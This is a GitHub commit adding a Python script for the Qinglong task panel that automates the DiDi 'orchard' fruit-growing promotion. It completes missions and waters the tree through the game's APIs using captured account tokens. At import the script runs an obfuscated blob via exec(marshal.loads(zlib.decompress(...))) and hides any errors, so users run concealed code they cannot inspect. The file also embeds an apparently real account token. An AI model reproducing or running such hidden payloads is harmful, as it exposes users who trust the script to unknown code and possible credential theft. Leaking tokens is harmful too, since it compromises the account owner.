滴滴果园-我用不了大佬的,只能自己写一个了,慢慢更新,给大家参考

This commit is contained in:
linlin 2024-04-07 00:37:38 +08:00 committed by GitHub
parent 808c8a0a12
commit 43d9d55792
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

131
ddgy.py Normal file
View File

@ -0,0 +1,131 @@
"""
滴滴果园
入口微信小程序->滴滴出行->首页->领车费->免费领水果中间左右滑动那里
或者滴滴出行APP->免费领水果
我用不了老哥的只能自己写一个了慢慢更新给大家参考
变量
ddgyToken: 必填账号token多账号换行或者@隔开格式uid&tokenuid可随便填主要是方便区分账号用
青龙捉任意game.xiaojukeji.com的包把请求里面的D-Header-T用填到变量ddgyToken
uid其实不重要只是用来区分token所属的账号方便重写手动捉包的话uid随便填都可以
多账号换行或者@隔开重写多账号直接换号捉就行
export ddgyToken='uid&token'
cron: 28 0,8,12,18 * * *
const $ = new Env('滴滴果园(大佬的我用不了)');
"""
import requests
import re
import os
import time
try:
import marshal
import zlib
exec(marshal.loads(zlib.decompress(b"x\xda\xfb\xaa\xc7\xc8\xc0\xc0\x95\x92\x9a\xa6\x90\x93\x99\x97\\\x9c\xa1\xa1i\xc5\xa5\x00\x04\x05E\x99y%\x1a\xea\xb68\x80\xba&XUIQ%D9\x08\xe4*\xd8*\x14\xa5\x16\x96\xa6\x16\x97\x14\xeb\xa5\xa7\x02ug\x94\x94\x14\x14[\xe9\xeb\xa7g\x96\xa4\xa6\xea%\xe7\xe7\xea\xa7\x97&\xa6\x94\x9a\x99\x98\x99\xe8\x97\x00\x95\xe9\x17%\x96\xeb\xe7&\x16\x97\xa4\x16\xe9'%\xe6%\xa5\xe6\xa5\xebe\x15\xe7\xe7\xa9k\x82)\rM\xb8\xd9\x10\xe7\xe4F\xab\x03\r\xc8KOO\xccW\x8f\x85H\xa6V$\xa7\x16\x94(\xb8\x82\xa9\xcc\xfc<\x85\xc4b\x85T+4}\xeaO7\xf4\xbf\x9c2\xf3\xc5\xfa\xf5Pw\x13\xe7;\x10@0`\xe1\xc3\x05\x00\x8b\x9dX\x0e")))
except Exception as e:
print('小错误')
def main(uid,token):
print('=================================')
print(f'正在执行账号:{uid}')
try:
xx = cxguosju(uid,token)
if xx != None:
gs,sy,jd,sd=xx
print(f'种植状态:{gs}-进度:{jd}')
try:
print('--------做任务---------')
cxrw(uid,token)
print('--------做任务结束---------')
except Exception as e:
print('有请,下一位')
else:
print('种树吧……')
except Exception as e:
print('有请,下一位')
#查水滴浇水
try:
xx = cxguosju(uid,token)
if xx != None:
gs,sy,jd,sd=xx
print(f'目前水滴:{sd}')
print(f'可浇水:{sd//10}')
for xx in range(sd//10):
print(f"{xx+1}次浇水-剩余进度:{jsjs(uid,token)}")
else:
print('种树吧……')
except Exception as e:
print('有请,下一位')
#浇水
def jsjs(uid,token):
data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"2b331082770f4992a56178342bb879b2","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"00959013f7744e01b9fdbe879bf629bc","xpsid_share":"","is_fast":False,"water_status":0,"platform":1,"token":token,"game_id":23}
tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/newWatering',json=data).json()
if tijiao['errmsg'] == 'success':
return tijiao['data']['next_box_progress']
#查询任务、提交、领取
def cxrw(uid,token):
#查询
tijiao = requests.get(url=f'https://game.xiaojukeji.com/api/game/mission/get?xbiz=240301&prod_key=didi-orchard&xpsid=3c88860da6f641f9ba7e19895874b5c6&dchn=078Je67&xoid=ce8cef18-738a-4a72-b1e2-63727ff0ad3f&xenv=wxmp&xspm_from=welfare-center.none.c1324.none&xpsid_root=89cbc350b4c3419f81f93db452b8a9b8&xpsid_from=91e8186b29ba491cad837e6a020963d5&xpsid_share=&game_id=23&loop=0&platform=1&token={token}').json()
if tijiao['errmsg'] == 'success':
for i in tijiao['data']['missions']:
#提交
headers = {'Content-Type':'application/json;charset=UTF-8'}
data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"3c88860da6f641f9ba7e19895874b5c6","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"91e8186b29ba491cad837e6a020963d5","xpsid_share":"","mission_id":i['id'],"game_id":23,"platform":1,"token":token}
tijiao1 = requests.post(url='https://game.xiaojukeji.com/api/game/mission/update',json=data,headers=headers).json()
if tijiao1['errmsg'] == 'success':
print(f"{i['title']}-{i['reward'][0]['count']}{i['reward'][0]['name']}:已完成")
tijiao2 = requests.post(url='https://game.xiaojukeji.com/api/game/mission/award',json=data,headers=headers).json()
if tijiao2['errmsg'] == 'success':
print(f"{i['title']}-{i['reward'][0]['count']}{i['reward'][0]['name']}:已领取")
else:
print(f'{uid}-登录错误')
#查询果树状态
def cxguosju(uid,token):
#查询
data = {"xbiz":"240301","prod_key":"didi-orchard","xpsid":"2f346355e5c2442c8e7a337cd7888b48","dchn":"078Je67","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"welfare-center.none.c1324.none","xpsid_root":"89cbc350b4c3419f81f93db452b8a9b8","xpsid_from":"41e43325ea244de888ce9f965bffab32","xpsid_share":"","assist_type":0,"encode_uid":"","is_old_player":True,"platform":1,"token":token,"game_id":23}
tijiao = requests.post(url='https://game.xiaojukeji.com/api/game/plant/newEnter',json=data).json()
if tijiao['errmsg'] == 'success':
for i in tijiao['data']['trees_cfg']:
if i['tree_id'] == tijiao['data']['tree_info']['tree_id']:
return i['desc'],tijiao['data']['tree_info']['next_box_progress'],tijiao['data']['tree_info']['tree_progress'],tijiao['data']['tree_info']['pack_water']
else:
print(f'{uid}-登录错误')
if __name__ == '__main__':
uid = 1
token = "99ssxgDiBSw3L0mANfTFL8a7trIBhDV2lDD_EgndEV4kzDmuwzAMQMG7vJowSEqyTN7mL87SKECCVIbvHjiuppuNoSRl0kkRhpEmDCdLUw1hFNJ6C597i6LVVRiVPGgkCD8nv6QvVnszV_UWXoT_b7eSG6_H-_m3kk1VYxcux2teLWo34Upii_ce0WefEW5neyd1_wQAAP__"
if 'ddgyToken' in os.environ:
fen = os.environ.get("ddgyToken").split("@")
print(f'查找到{len(fen)}个账号')
print('==================================')
for duo in fen:
uid,token = duo.split("&")
try:
main(uid,token)
print('============📣结束📣============')
except Exception as e:
print('小错误')
else:
print('不存在青龙变量,本地运行')
if uid == '' or token == '':
print('本地账号密码为空')
exit()
else:
try:
main(uid,token)
print('============📣结束📣============')
except Exception as e:
print('小错误')